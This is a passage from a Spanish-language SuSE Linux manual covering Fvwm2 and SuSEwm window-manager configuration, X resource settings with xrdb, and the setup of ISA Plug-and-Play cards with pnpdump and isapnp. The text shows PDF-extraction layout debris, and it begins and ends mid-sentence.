la configuración global debería existir siempre. Se encuentra en el directorio /usr/X11R6/lib/X11/fvwm2 y se llama .fvwm2rc. o Un fichero de configuración para cada usuario que no debe existir nece- sariamente. Se llama ~/.fvwm2rc y se encuentra en el directorio personal del respectivo usuario. Cuando se instala SuSE Linux, el programa susewm (se explica en el aparta- do 9.5 en la página 277Configuración del windowmanager con SuSEwm section.9.5) se encarga de generar siempre un fichero de configuración global para el Fvwm2. El Fvwm2 lee todos los ficheros de configuración cuando arranca. El Win- dowmanager se inicia desde el fichero /usr/X11R6/lib/X11/xinit/ xinitrc o desde ~/.xinitrc. Para conseguirlo hay que modificar la vari- able de entorno WINDOWMANAGER de tal modo que apunte hacia el directorio del correspondiente WM , p. ej. /usr/X11R6/bin/fvwm2; ver también en la página 265Iniciar los distintos gestores de ventanasubsection.9.1.3. Cuando se inicia el Windowmanager, primero intenta leer el fichero de configuración individual del usuario y después, si éste no existe, el fichero de configuración global. También los módulos del Fvwm leen estos ficheros de configuración cuando se inician, con la diferencia de que cada módulo solo lee la parte que corre- sponde a su propia configuración. 272 _________________________________________________________________________________________________9.4.__Ajustes_del_Fvwm_____* *______________________ En realidad es muy recomendable generar un fichero de configuración indi- vidual para cada usuario, para que éste lo pueda modificar a su gusto. De- spués de haber modificado algún fichero de configuración hace falta reiniciar el gestor de ventanas, para que las modificaciones tengan efecto. La configuración de SuSE tiene por defecto una opción en el `Work menu' llamada `Window Manager' que permite el reinicio del WM. El efecto es igual al de un reinicio del servidor-X. 9.4 Ajustes del Fvwm Generalidades Ahora le llega el turno al fichero de configuración personalizado que se debe haber creado con anterioridad según las explicaciones en en la pági- na 278¿Cómo usar SuSEwm ?subsection.9.5.1. Aparte de la posibilidad de generar el fichero con susewm, se puede usar también el fichero ~/.fvwm2rc suministrado por los programadores de Fvwm, que se encuentra en el direc- torio /usr/doc/packages/fvwm/system.fvwm2rc. Primero se debe cargar el fichero ~/.fvwm2rc en el editor preferido y a continuación se discuten las posibilidades de configuración. ¿Qué sucede al iniciar el Fvwm? Se pueden repasar las líneas hasta llegar al comentario que se indica en el fichero 9.4.1. _______________________________________________________________________________________________________________________ |||||||| ######################################################### | |||||||| | |||||||| # # | |||||||| # initialization function head # | |||||||| | |||||||| # common to all wms # | |||||||| # # | |||||||| ######################################################### | ||||||||_______________________________________________________________________________________________________________ | Fichero 9.4.1: InitFunction en el fichero ~/.fvwm2rc Por debajo de estas líneas se encuentran todos los procesos que se llevan a cabo cuando el Fvwm2 se reinicia. Se carga el módulo FvwmBanner que representa el logotipo, se inician varios xterm tal como un xpmroot que permite colocar imágenes en el fondo (o sea en la ventana del superusuario (ingl. Root Window)). Puede usar cualquier programa capaz de confeccionar la imagen de fondo como p. ej. programmxli, xv , etc. Por ejemplo para xv el comando sería: + "I" Exec xv -quit -root -owncmap -maxpect ~/pics/imagen13.pnp Se debería mencionar la imagen de fondo nuevamente bajo los procesos que se llevan a cabo reiniciando el Fvwm, o sea incluirla en la función RestartFunction . Esta se encuentra en el fichero 9.4.2 en la página sigu- iente. Muchas veces las secciones InitFunction y RestartFunction se pare- cen mucho, ya que ambas se encargan de iniciar el WM. No obstante, en * * 273 9. El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________ | ######################################################### * * | | * * | ||# # * * || | # restart function # * * | | # common to all wms # * * | | # # * * | | ######################################################### * * | |_______________________________________________________________________________________________________* *________ | Fichero 9.4.2: InitFunction en el fichero ~/.fvwm2rc RestartFunction se descarta generalmente el reinicio de la imagen de fon- do del Windowmanager. Aparte de las funciones InitFunction y RestartFunction , existe una función adicional llamada ExitFunction . El nombre ya indica que se trata de una función de ''ordenar'' que permite indicar cuáles son los programas que se deben ejecutar antes del reinicio del WM o antes de salir del mismo. Así se consigue p. ej. borrar la imagen de fondo antes de iniciar una nueva con el reinicio del WM. Colores y fuentes Los ajustes para colores y fuentes se encuentran en el fichero 9.4.3. ________________________________________________________________________________________________________* *________|| | ######################################################### * * | | # # * * | | * * | | # colors and fonts # * * | | # # * * | | ######################################################### * * | |_______________________________________________________________________________________________________* *________ | Fichero 9.4.3: Ajustes de color y de fuente en el fichero ~/.fvwm2rc Aquí se puede modificar todo a gusto propio y elegir los colores que más agraden entre los que están disponibles, que por otra parte dependen p. ej. de la tarjeta gráfica. Pulse el botón derecho del mouse y entre primero al menú `System', después al menú `Information'. Allí aparece la opción `Color palette', que muestra una ventana con todos los colores disponibles de los que ahora se puede elegir uno. Los nombres de los colores se encuentran en el fichero /usr/X11R6/lib/X11/rgb.txt. Un poco más abajo se encuentran líneas del siguiente tipo: WindowFont -misc-fixed-bold-r-normal-*-13-*-75-75-c-80-iso8859-1 Se trata de una descripción sistemática de un tipo de letra o fuente (ingl. font) para el sistema X Window. Todas las fuentes se describen de una manera semejante, sobre la que no se discuten aquí sus detalles. Para simplificar la definición de sus nombres existe una serie de alias; todas las fuentes se encuentran generalmente en el directorio /usr/X11R6/lib/X11/fonts en cuyos subdirectorios existe un fichero fonts.alias. Este contiene las abre- viaciones usuales para las fuentes: variable -*-helvetica-bold-r-normal-*-*-120-*-*-*-*-iso8859-1 5x7 -misc-fixed-medium-r-normal--7-70-75-75-c-50-iso8859-1 274 _________________________________________________________________________________________________9.4.__Ajustes_del_Fvwm_____* *______________________ _______________________________________________________________________________________________________________________|| |||||||| # | |||||||||## others || |||||||| | |||||||| | |||||||| Style "xterm" Icon Terminal.xpm | |||||||| Style "xosview" NoTitle, Sticky | |||||||| Style "xosview" UsePPosition | ||||||||_______________________________________________________________________________________________________________ | Fichero 9.4.4: Iconos para determinadas ventanas Iconos Los iconos se definen de la forma como lo indica el fichero 9.4.4. En esta sección se puede asignar un icono a las correspondientes aplica- ciones. Lo único que se debe tener en cuenta es que el icono se encuen- tre en el IconPath (la rama que apunta a los iconos), que se define en las primeras líneas del fichero ~/.fvwm2rc. En principio se puede usar cualquier icono de cualquiera de las ramas mencionadas por detrás del denominador PixmapPath . Si un icono se encuentra en un directorio fuera de la rama mencionada, tendría que indicar el nombre completo de este directorio. En el caso de querer dar a GhostView un fantasma como icono, en la rama de iconos encontrará uno con el nombre ghostbusters.xpm. En este caso, se añade la siguiente línea al párrafo: Style "ghostview" Icon ghostbusters.xpm ¡Ya está! De esta forma se pueden indicar los iconos para prácticamente todas las aplicaciones, pero la mayoría ya tiene sus iconos estándar. En todo caso, se necesita saber el nombre correcto de la aplicación (más exacto: el nombre de la ventana de la aplicación, ya que indicar xTerm en lugar de xterm no funcionaría). ¡Al fin y al cabo el gestor de ventanas administra ventanas! Para conocer el nombre de una ventana se entra desde el menú `Windowman- ager' ! `Modules' a `Ident' (Nombre de programa FvwmIdent ) y se selecciona la ventana. Cursor Con el programa xsetroot es posible modificar la apariencia del cursor y (con ciertas restricciones) la imagen de fondo. El programa se inicia con: tux@tierra: > xsetroot -cursor Aquí representa un ''bitmap'' de libre elección. Los bitmaps se encuentran por defecto en /usr/X11R6/include/X11/bitmaps. Se puede seleccionar uno a su gusto o crear uno propio, p. ej. con bitmap . Focus (Enfoque) Una característica especialmente estimada de la familia de los Fvwm, es la posibilidad de modificar en tiempo de ejecución el comportamiento de las ventanas al cambiar la ventana activa. También se puede guardar permanen- temente en el fichero de configuración el comportamiento respecto a ''Focus'' y a ''Raising''. * * 275 9. El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________* *_______________________________________@ Se denomina ''Enfoque'' a la propiedad del windowmanager de pasar las en- tradas y clicks de mouse actuales hacia una determinada ventana. Para ello existen 3 posibilidades: o Se debe seleccionar una ventana con un click de mouse, para pasar p. ej. con el teclado, comandos al proceso que se visualiza en ella. Este com- portamiento es el estándar en Windows u OS/2 y se llama en inglés Click to focus. o Desplazando la flecha del mouse sobre una ventana, ésta se activa au- tomáticamente. Este comportamiento se denomina Focus follows mouse. Si la flecha del mouse sale de la ventana, ésta se desactiva; también es así cuando la flecha se encuentra sobre el fondo. o Una variación avanzada es el comportamiento Sloppy Focus que ofrecen el Fvwm y el Fvwm95. En esta variante, el enfoque se comporta igual que el Focus follows mouse, con la diferencia que el enfoque (la activación) se queda con la ventana hasta que se selecciona otra, o sea que, el enfoque se queda con la ventana también cuando el puntero está sobre el fondo. El Fvwm permite configurar el comportamiento de activación (enfoque) para cada ventana por separado. Como muchos otros ajustes, el del enfoque se realiza con un comando ''Style''; el siguiente define el comportamiento como ClickToFocus para todas las ventanas: Style "*" ClickToFocus De la misma forma se definen SloppyFocus y FocusFollowsMouse , siendo esta última la configuración predeterminada de Fvwm. 9.4.1 Autoraise Aparte de ''focus'' también es interesante el comportamiento de ''raising'', que determina cuándo una ventana se coloca en primer plano. El comportamiento predeterminado es el de mantener siempre la posición en relación a las demás ventanas (es decir: por detrás o por delante). Con un click del mouse sobre el borde o sobre la barra de título, la ventana pasa al primer plano. Algunos usuarios están acostumbrados a que la ventana pase al primer plano cuando el puntero del mouse está sobre ella, comportamiento de- nominado ''AutoRaising''. Solo tiene sentido activarlo en combinación con FocusFollowsMouse o SloppyFocus , ya que no tiene efecto cuando ClickToFocus está activado (la configuración por defecto de Fvwm95). Para activar AutoRaising se puede iniciar el módulo AutoRaise del Fvwm desde el menú, con: `Window Manager', `Modules', `AutoRaise On/Off'. Para que se active permanentemente hace falta poner en el fichero de configuración del Fvwm2 una entrada para la función InitFunction y otra para RestartFunction : Function InitFunction + "I" Module FvwmAuto 200 Function RestartFunction + "I" Module FvwmAuto 200 El valor 200 indica el tiempo de espera en milisegundos antes de pasar la ventana al primer plano. Este tiempo de espera es muy razonable ya que sin 276 ________________________________________________9.5.__Configuración_del_windowmanager_con_SuSEwm____________________________* *______________________ él cualquier ventana ''tocada'' pasaría inmediatamente al primer plano, lo que puede provocar un continuo parpadeo :-) 9.5 Configuración del windowmanager con SuSEwm ¿Qué representa SuSEwm ? El programa susewm (paquete susewm) simplifica la configuración de los gestores de ventana (ingl. windowmanager) Fvwm1 , Fvwm , Fvwm95 , Bow- man , AfterStep , Ctwm , WindowMaker , Mwm 2 y también de los escritorios KDE y GNOME . Ya que Fvwm1, Fvwm 95, Bowman y AfterStep están basados en el mismo gestor de ventanas, estos gestores se configuran de forma parecida y ofrecen características similares. SuSEwm ofrece un lenguaje abstracto de macros en el que se reunen todas las posibilidades de configuración de todos los gestores de ventana. De esta forma, el usuario no tiene que administrar cinco diferentes ficheros de config- uración y puede disfrutar de todas las posibilidades de los gestores de ventana sin necesidad de conocer las diferencias individuales entre ellos. susewm configura incluso los windowmanager Ctwm , Mwm y WindowMak- er , el kpanel del entorno KDE y el panel del entorno GNOME, que son todos completamente diferentes. No se pueden configurar los menús de estos WM directamente desde el menú principal (como es p. ej. el caso del Fvwm), sino que se generan siempre para todo el sistema mediante SuSEconfig . Las diferencias de configuración se abarcan mediante entradas específi- cas para acceder a las posibilidades particulares del gestor de ventanas en cuestión. SuSEwm configura los menús con los programas y los módulos soportados por el gestor de ventanas, en función de los paquetes de software realmente instalados. No se generan entradas en el menú de acceso directo para progra- mas que no lo estén. Otras características especiales de SuSEwm son: o Posibilidad de configuración de diez gestores de ventana o entornos de es- critorio: Fvwm , Fvwm1 , Fvwm95 , Bowman , AfterStep , Ctwm , Mwm , WindowMaker , GNOME Panel y KDE Panel . o Un directorio central de librerías para todos los gestores de ventana y, macros uniformes, para los distintos ficheros de configuración. o Ficheros de configuración adicionales para los distintos gestores de ven- tana, para respetar sus particularidades. o Consideración de ficheros de configuración adicionales para los gestores de ventana. Además se consideran las variables en /etc/rc.config para la configuración global. o Consideración de ficheros fuente de los usuarios durante la configuración automática,_en_el_directorio_de_usuario._____________ 2 El gestor de ventanas MWM forma parte de Motif (comercial); el paquete lesstif contiene una versión libre. * * 277 9. El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________* *_______________________________________@ o Generación de ficheros de configuración específicos para los usuarios, considerando ampliamente las modificaciones (de ficheros de configu- ración antiguos) hechas por el usuario. o Incorporación de programas comerciales de amplia difusión a la hora de generar los menús, aunque estos no formen parte de SuSE Linux. o Cambio arbitrario entre los windowmanager soportados en tiempo de ejecución sin necesidad de modificar scripts de arranque, como p. ej. ~/.xinitrc; funciona si el gestor de ventana lo permite. 9.5.1 Añadir opciones al menú Para añadir opciones al menú de SuSE , hace falta generar un fichero tal como lo muestra el fichero de ejemplo 9.5.1. ________________________________________________________________________________________________________* *________|| | Name=Printer * * | | Name[es]=Impresora * * | | Comment=Show all printers * * | | Comment[es]=Mostar todas las impresoras. * * | | Exec=klp * * | | * * | | MiniIcon=printer.xpm * * | | Icon=printer.xpm * * | | Type=Application * * | |_______________________________________________________________________________________________________* *________ | Fichero 9.5.1: Fichero .lnk del SuSEwm para opciones del menú Muy importantes son las entradas para Name[...] y Exec , ya que las demás son opcionales. Indicando Type=TEXT , todos los programs se ejecutarán en un terminal. Hay que seguir una nomenclatura, para que la entrada se genere correcta- mente: ..lnk debe ser el nombre del fichero, donde indica el nombre del paquete RPM que contiene el programa en cuestión. Si el programa no se ha instalado mediante un paquete RPM, es posible indicar . puede ser cualquier cadena de carac- teres, normalmente el nombre del programa o una abreviación. Por lo demás el nombre de fichero debe terminar en .lnk.El fichero mismo se copia aden- tro de un directorio por debajo de /etc/X11/susewm/AddEntrys. La nueva opción aparece en el sub-menú que corresponde al directorio en el cual se ha guardado el fichero. ¿Cómo usar SuSEwm ? Normalmente YaST inicia SuSEwm después de la instalación de paquetes y se encarga de adaptar todas las configuración al nivel de todo el sistema. Como usuario se usa SuSEwm en dos casos: o Si aún no tiene ningún fichero de configuración de un windowmanager, pero desea generar uno para configurar un entorno de trabajo propio in- dependiente del entorno al nivel de todo el sistema. o Ya tiene un fichero de configuración para el windowmanager pero ha in- stalado o ha quitado programas con YaST y los menús ya no concuerdan. 278 ________________________________________________9.5.__Configuración_del_windowmanager_con_SuSEwm____________________________* *______________________ Requisitos Se supone lo siguiente: o Ha entrado al sistema como usuario normal (p. ej. usando el usuario de ejemplo que se genera instalando con YaST ), no como superusuario `root'. o En YaST se ha configurado English como idioma del menú; para los menús en otros idiomas todo es similar. Ahora el cómo: Haciendo un click con el botón izquierdo del mouse sobre el fondo (ingl. root window) se abre un menú. Es algo que solo funciona con un windowmanager para el cual SuSEwm es capaz de generar un fichero de configuración propio dentro del directorio HOME ~ p. ej. funciona con los windowmanager de la familia Fvwm. El menú que aparece tiene el título `Work menu' y contiene los programas de uso más frecuente (depende del punto de vista) en el mundo Unix. La última opción en este menú (`Window Manager') contiene un sub-menú con opciones que permiten modificar la configuración del windowmanager en ejecución. Si lo que se desea es modificar otro windowmanager, debe cambiarse primero a este `Other window managers'. Una de las opciones se llama `Create configuration file' y contiene una entrada para cada idioma posible, que permite generar para el windowmanager en ejecución un fichero de configuración dentro del directorio HOME. Estas opciones se visualizan en la figura 9.10 en la página siguiente, que muestra el `Work menu' de Fvwm . Seleccionando la segunda o la tercera opción aparecerá una ventana en la cual se ejecuta mksusewmrc (este programa forma parte del paquete SuSEwm ). Repase el texto que aparece en pantalla y pulse los botones correspondientes cuando el programa lo pida. ¡Ya está! Ahora se puede modificar a gusto propio el fichero de configu- ración recién generado. susewm incorporará estas modificaciones al fichero de configuración en cuanto se inicie la próxima vez. SuSEwm crea además un fichero con la extensión .orig que no se debe modificar para que los cambios tengan efecto. _______________________________________________________________________________________________________________________|| |||||||| Si no se desea modificar demasiado el escritorio, se debe generar primero ||| | |||||||| el fichero de configuración como se ha explicado antes y después modifi- || | |||||||| || | |||||||| carlo. || | |||||||| || | |||||||| Si por el contrario, la idea es hacer un fichero de configuración completa- || | |||||||| mente nuevo, no use SuSEwm . || | ||||||||_______________________________________________________________________________________________________________||_ Un ejemplo Un escritorio con mucho color es bonito pero quizás no sea muy práctico si el hardware (memoria, procesador, disco duro) no da abasto. Un gestor de ventana no debería ocupar todos los recursos del sistema si se usa p. ej. una cantidad excesiva de iconos e incluso si son animados. * * 279 9. El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________* *_______________________________________@ | * * | ________________________________________________________________________________________________________* *________|||| | * * | || * * || | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | |_______________________________________________________________________________________________________* *________ | Figura 9.10: La vía de entrada a la configuración del windowmanager Por lo tanto, si la computadora va lenta cuando se inicia Fvwm o Fvwm95 , lo más probable es que sea por los varios centenares de iconos presentes en los menús que se cargan uno por uno. Para remediarlo hay tres opciones: o En el menú de YaST `Administración del sistema', `Cambiar archivo de configuración' poner SUSEWM_XPM=no . Si se ha cambi- ado el valor de esta variable directamente en el fichero /etc/rc.config, se debe ejecutar después SuSEconfig . o Desinstalar el paquete 3dpixms y si se puede prescindir de los iconos grandes, desinstalar también el paquete 3dpixm. o Quitar los iconos del fichero de configuración. La primera opción no precisa comentarios adicionales. La segunda opción también es simple: Iniciar YaST , desinstalar los paquetes mencionados y punto. YaST se encarga junto con SuSEwm y SuSEconfig de adaptar el fichero de configuración global del windowmanager. Si se tiene un fichero de configuración personal, hace falta realizar la actualización explícitamente; para ello puede valerse del menú del windowmanager como se explica en en la página 278¿Cómo usar SuSEwm ?subsection.9.5.1. La primera opción no precisa comentarios adicionales. La tercera opción: Si aún no dispone de un fichero de configuración personal, puede generarlo tal como se ha explicado en el apartado 9.5.1 en la pági- na 278¿Cómo usar SuSEwm ?subsection.9.5.1. Después se deben reemplazar 280 ______________________________________________________9.6.__Configuración_general_del_sistema_X_Window______________________* *______________________ todas las entradas de menú que contienen referencias a iconos, como lo mues- tra el fichero 9.5.2; la situación inicial que muestra el fichero 9.5.2 se debe modificar según el ejemplo en el fichero 9.5.3. _______________________________________________________________________________________________________________________|| |||||||| | |||||||| AddToMenu thiswmpopup "Fvwm2" Title | |||||||| | |||||||| | |||||||| + "Other windowmanager%small.warning_3d.xpm%" Popup otherwmpopup | |||||||| + "Configuration%small.checklist2_3d.xpm%" Popup susewmpopup | |||||||| + "" Nop | |||||||| + "Fvwm2 Restart%small.restart_suse_3d.xpm%" Restart fvwm2 | |||||||| | |||||||| + "Exit Fvwm2 and X%small.exit.xpm%" Function QuitSave | |||||||| | |||||||| # end popup thiswmpopup | |||||||| | ||||||||_______________________________________________________________________________________________________________ | Fichero 9.5.2: .fvwm2rc con iconos para los menús _______________________________________________________________________________________________________________________|| |||||||| | |||||||| AddToMenu thiswmpopup "Fvwm2" Title | |||||||| | |||||||| | |||||||| + "Other windowmanager" Popup otherwmpopup | |||||||| + "Configuration" Popup susewmpopup | |||||||| + "" Nop | |||||||| + "Fvwm2 Restart" Restart fvwm2 | |||||||| | |||||||| + "Exit Fvwm2 and X" Function QuitSave | |||||||| | |||||||| # end popup thiswmpopup | |||||||| | ||||||||_______________________________________________________________________________________________________________ | Fichero 9.5.3: .fvwm2rc sin iconos para los menús Con esta preparación, el Fvwm y el Fvwm95 deberían iniciarse bastante más rápido. Para que las modificaciones del fichero de configuración personal sean permanentes, inicie nuevamente SuSEwm . 9.6 Configuración general del sistema X Window Ahora es el momento de preocuparse del aspecto óptico y de las funciones del escritorio ~ por qué quedarse con la configuración por defecto si existe la posibilidad de adaptar todo a sus necesidades. Existen dos posibilidades para tocar la configuración: o Los ajustes previos para las aplicaciones del sistema X Window o El o los ficheros de configuración del windowmanager, presentados en en la página 272Ficheros de configuración del Fvwmsection.9.3. Ajustes previos de aplicaciones del sistema X Window Ajustes globales Prácticamente todas las aplicaciones programadas para el sistema X Window tienen una configuración por defecto. Esta se encuentra en un fichero que pertenece a la aplicación y que se copia durante la instalación, generalmente al directorio /usr/X11R6/lib/X11/app-defaults. En este directorio se * * 281 9. El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________* *_______________________________________@ encuentran ficheros como Xarchie, que como ya lo indica su nombre, se trata del fichero de configuración central del programa xarchie . Mirando el fichero p. ej. con el comando less Xarchie (ver Abschnitt 19.7.3 en la página 474El contenido de los ficherossubsection.19.7.3), se podrá ver líneas como la siguiente: Xarchie.color*background: powder blue No hay que asustarse por las líneas un poco crípticas y tampoco hace falta entender directamente todos los comandos. Cada programa desarrollado para el sistema X Window está formado por ''widgets''. Hay que entender un widget como un elemento de construcción. Se distingue un widget-principal que representa la ventana principal de la aplicación que se evoca primero. Los demás widgets son ''hijos'' de éste, lo que significa que cada widget tiene exactamente un ''antecesor'' y ninguno, uno o varios ''descendientes''; cada widget recibe un nombre único. No se debe confundir ventanas con widgets; p. ej. una barra de desplaza- miento (ingl. scrollbar) es una ventana propia (una ventana sin ninguna deco- ración), mientras que un widget se forma p. ej. de una barra de desplazamien- to, un campo con texto y más (sería un widget complejo). Como los widgets se despliegan en forma de árbol, se habla también de un árbol de widgets en el cual cada ventana tiene un nombre determinado. Por lo tanto, es posible acceder a cualquier ventana de un programa a través de su nombre. A continuación el significado de la línea de comando anterior: o La primera palabra hasta el punto (Xarchie ) es el nombre del toplevel- widget (widget-principal) de la aplicación xarchie (los nombres de las configuraciones por defecto que son generales para todos los widgets, comienzan por regla general con mayúscula). o Después del punto sigue `color' que evidentemente representa el color. o A continuación viene un asterisco, que también podría ser un punto: ~ Un punto significa que, en cuanto a la jerarquía, no hay ninguna ven- tana entre estas dos. ~ Un asterisco indica que puede haber una o varias ventanas entre ellas. o La palabra ''background'' indica finalmente el cambio de color. Se puede indicar cualquier color definido. El fichero /usr/X11R6/lib/X11/rgb. txt contiene una lista con todos los colores válidos en el sistema X Win- dow. Ajustes personalizados Cada usuario puede ~ por supuesto ~introducir ajustes personalizados. Para ello existe en el directorio HOME de cada usuario un fichero ~/.Xresources. El `.' por delante del nombre indica que se trata de un fichero ''escondi- do''; acerca de ficheros ''escondidos'' véase el apartado 19.7.4 en la pági- na 475Ficheros ocultossubsection.19.7.4. Este fichero recibe entonces los ajustes personalizados, que le permiten in- dicar p. ej. , que todas las ventanas deben tener un fondo amarillo aparte de la ventana principal, que debe salir en rojo. 282 ______________________________________________________9.6.__Configuración_general_del_sistema_X_Window______________________* *______________________ Volviendo al ejemplo de arriba, existe la posibilidad de sobreescribir los ajustes por defecto de los ficheros globales app-defaults con aquellos he- chos en el fichero personal ~/.Xresources; p. ej. para que en su escritorio (¡solo en el suyo!) la aplicación xarchie se inicie con un fondo de color oro, escriba la siguiente línea en el fichero ~/.Xresources: Xarchie.color*background: gold No solo puede modificar los colores sino casi todas las propiedades de las ventanas en su escritorio. Para ello existe un programa muy útil que se llama editres (ingl. edit resources) que permite visualizar y modificar los recursos de una aplicación. A continuación algunos ajustes a modo de ejemplo, que se pueden definir: Xarchie.color*background: powder blue Xarchie.color*SimpleMenu*background: wheat Xarchie.color*Command*background: wheat Xarchie.color*MenuButton*background: wheat Xarchie.color*Text*background: wheat Xarchie*font: 9x15 En principio se pueden modificar de esta manera casi todas las propiedades de un programa para el sistema X Window, pero en la realidad, los ajustes están generalmente limitados a los colores, las fuentes de caracteres y la geometría (posición y tamaño) de la ventana. La Manpage del programa o el correspondiente fichero en app-defaults muestran por lo general las opciones disponibles. El fichero /usr/X11R6/lib/X11/rgb.txt contiene los nombres de los colores válidos y los programas xfontsel y xlsfonts muestran las fuentes disponibles. Ajustes al inicio de la aplicación La tercera posibilidad para modificar la apariencia de una aplicación es la de pasar parámetros en el momento del inicio. Se pueden poner también estos parámetros adentro del fichero de configuración del gestor de ventanas, si es que inicia el programa desde este fichero. Por ejemplo, se puede iniciar explícitamente un programa usando un color para los caracteres y otro para el fondo (bg = ''background'', fg = ''fore- ground''), si el programa en cuestión lo soporta: xterm -bg darkblue -fg white El resultado de este comando es una Xterm azul con letras en blanco. ¿Cómo se realizan las nuevas configuraciones? Los ajustes globales que afectan a todo el sistema se activan cuando el sistema X Window se inicia. El mismo servidor X administra estos ajustes en un banco de datos de recursos (ingl. X Resource DataBase, xrdb). Para activar los cambios en la configuración global, es preciso cargar el banco de datos de recursos nuevamente y a mano. Esto se lleva a cabo con el siguiente comando: tux@tierra: > xrdb ~/.Xresources * * 283 9. El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________* *_______________________________________@ Cuando el servidor X se inicia, existe un determinado orden en el cual se procesan los ajustes para las distintas aplicaciones. o Primero se leen los ajustes globales para la aplicación en cuestión desde el fichero /usr/X11R6/lib/X11/app-defaults. o Si también existen ajustes propios en el fichero ~/.Xresources de su directorio de usuario, estos se superponen a los ajustes globales. o La máxima prioridad la tienen los parámetros que se indican explícita- mente en el momento de iniciar la aplicación. Estos parámetros se pueden indicar en la línea de comandos o en el fichero de configuración del gestor de ventanas. El programa xrdb indica los ajustes momentáneos: tux@tierra: > xrdb -q puede tener la siguiente respuesta: emacs*geometry: 100x45-5-5 netscape.geometry: 610x760+140+30 xdvi*geometry: 720x895+250+5 Finalmente un consejo práctico: ________________________________________________________________________________________________________* *________|| | En el caso de que un programa no se modifique con los nuevos ajustes * * |||| | (p. ej. otro juego de caracteres) aunque estos hayan sido realizados explíci- * * ||| | * * ||| | tamente en ~/.Xresources y se haya procesado de nuevo el banco de * * ||| | datos de recursos, se debe comprobar entonces la coincidencia de mayús- * * ||| | * * ||| | culas y minúsculas en los nombres de los widgets. * * ||| |_______________________________________________________________________________________________________* *________|||_ 284 Parte V Hardware bajo Linux 285 Capítulo 10 Linux y el hardware adicional 10.1 Introducción Hoy en día es posible incorporar la mayoría de los periféricos y hardware adi- cional a un PC con Linux, con un esfuerzo que depende en gran parte del caso concreto. Este capítulo explica los detalles del ''cómo'' y menciona el soft- ware a disposición. El tema de la impresión ya fue tratado en el capítulo 12 en la página 325Impresoraschapter.12 , el de enviar Fax en el apartado 6.10 en la página 209Linux + Fax: ¡Una buena combinación!section.6.10 y el uso de RDSI en el apartado 6.2 en la página 173Acceso a Internet vía RDSI ~ la configuraciónsection.6.2. El hardware especial para los portátiles como son las tarjetas PCMCIA y los dispositivos IrDA es tema del capítulo 11 en la página 309Portátiles ~ PCMCIA, APM, IrDAchapter.11. 10.2 Tarjetas de expansión En una PC estándar se utilizan mayoritariamente tarjetas de expansión del tipo ISA (''Industry Standard Architecture'') o del tipo PCI- (''Peripheral Component Interconnect''). El bus AGP (''Accelerated Graphics Port'') es una cierta excepción, ya que los dispositivos que se encuentran sobre él se ''ven'' también en el bus PCI. Además no se diferencian en su tratamiento lógico. ~ Las tarjetas del tipo PCMCIA se encuentran sobre todo en los portátiles ; la configuración de estas se explica en el capítulo 11 en la página 309Portátiles ~ PCMCIA, APM, IrDAchapter.11. 10.2.1 Tarjetas ISA y PCI Los siguientes apartados exponen el funcionamiento de las tarjetas ISA y PCI; su configuración se explica mediante el ejemplo de una tarjeta de sonido. Tarjetas ISA Estas tarjetas representan la forma más antigua de las tarjetas de expansión para PC. El bus es de 8 o 16 bit y su frecuencia máxima es de 8 MHz. Muchas placas base permiten el aumento de la frecuencia, pero esto puede producir problemas. Hay tres categorías de tarjetas ISA: * * 287 10. Linux y el hardware_adicional_________________________________________________________________________________________________* *_______________________________________@ Legacy-Cards: Estas tarjetas se configuran completamente ''a mano''. El usuario tiene que configurar los recursos como dirección de E/S, Inter- rupciones y canales DMA mediante ''jumpers'' o ''microswitch'', tratando de evitar el uso duplicado de recursos por parte de las tarjetas. Por lo tanto la configuración de estas tarjetas puede ser complicada. Jumperless-Cards: En comparación a la primera generación de tarjetas, és- tas ya no exigen la configuración mediante ''jumper'', si no que se config- uran con un programa especial. Este programa normalmente existe solo para DOS, por lo que no se puede usar en Linux. PnP-Cards: Las tarjetas ''Plug and Play'' son el avance lógico de las ''Jumperless-Cards''. Las tarjetas reciben una lista sobre las configu- raciones posibles y un programa o driver especial se encarga de consultar las configuraciones de todas las tarjetas PnP del sistema, configurándolas de tal manera que no interfieran unas con otras. Una tarjeta no existe para el sistema hasta que no esté configurada. En Linux, el paquete isapnp de la serie ap se encarga de la configuración de las tarjetas PnP. El paquete ofrece los dos programas pnpdump y isapnp . ¿Cómo activar tarjetas PnP con isapnp ? Proceda de la siguiente forma: o Entre al sistema como `root'. o Si encuentra un fichero isapnp.conf en el directorio /etc, primero se debe hacer un respaldo del mismo: tierra:/ # mv /etc/isapnp.conf /etc/isapnp.conf.bak o Con el comando tierra:/ # pnpdump -c > /etc/isapnp.conf se genera el fichero /etc/isapnp.conf. Con el parámetro -c se con- sigue que pnpdump prepare directamente el fichero de salida para la ini- cialización de las tarjetas PnP. o El comando tierra:/ # isapnp /etc/isapnp.conf inicializa las tarjetas PnP en la computadora; SuSE Linux las inicializa cada vez que se arranque Linux. Posibles fuentes de error Problema: El mensaje de pnpdump es: "No boards found". También es posible que se reconozcan algunas, pero no todas las tarjetas ISA-PnP. Soluciones: o En realidad no hay ninguna tarjeta ISA-PnP en la computadora. Se debe comprobar qué tarjetas están instaladas y también leer la doc- umentación que les corresponde. Para aclarar las dudas pregunte al distribuidor de las tarjetas o de su computadora. o La(s) tarjeta(s) son defectuosas; comprobar su correcto ajuste en las ranuras y probar el funcionamiento de las mismas bajo otro sistema operativo. 288 _________________________________________________________________________________________10.2.__Tarjetas_de_expansión_______* *______________________ o Hay tarjetas que se pueden usar como tarjetas ISA-PnP o con asig- nación fija de los recursos (así son algunas tarjetas Ethernet ISA NE2000 de 10 Mbit/s). Generalmente existe un programa basado en DOS que permite cambiar de modalidad. Según la configuración de las tarjetas, éstas no aparecen en el resultado de pnpdump . o Algunas tarjetas ISA-PnP no se pueden usar junto con otras. En estos casos, solo se ve una de ellas en el resultado de pnpdump . Para evitar este problema se puede intentar desactivar la característica PnP de una tarjeta (p. ej. con un jumper directo sobre la tarjeta) y usarla así con recursos fijos. o Es posible que existan tarjetas que (en muy pocas ocasiones) se re- setean después de ejecutar pnpdump . Si la 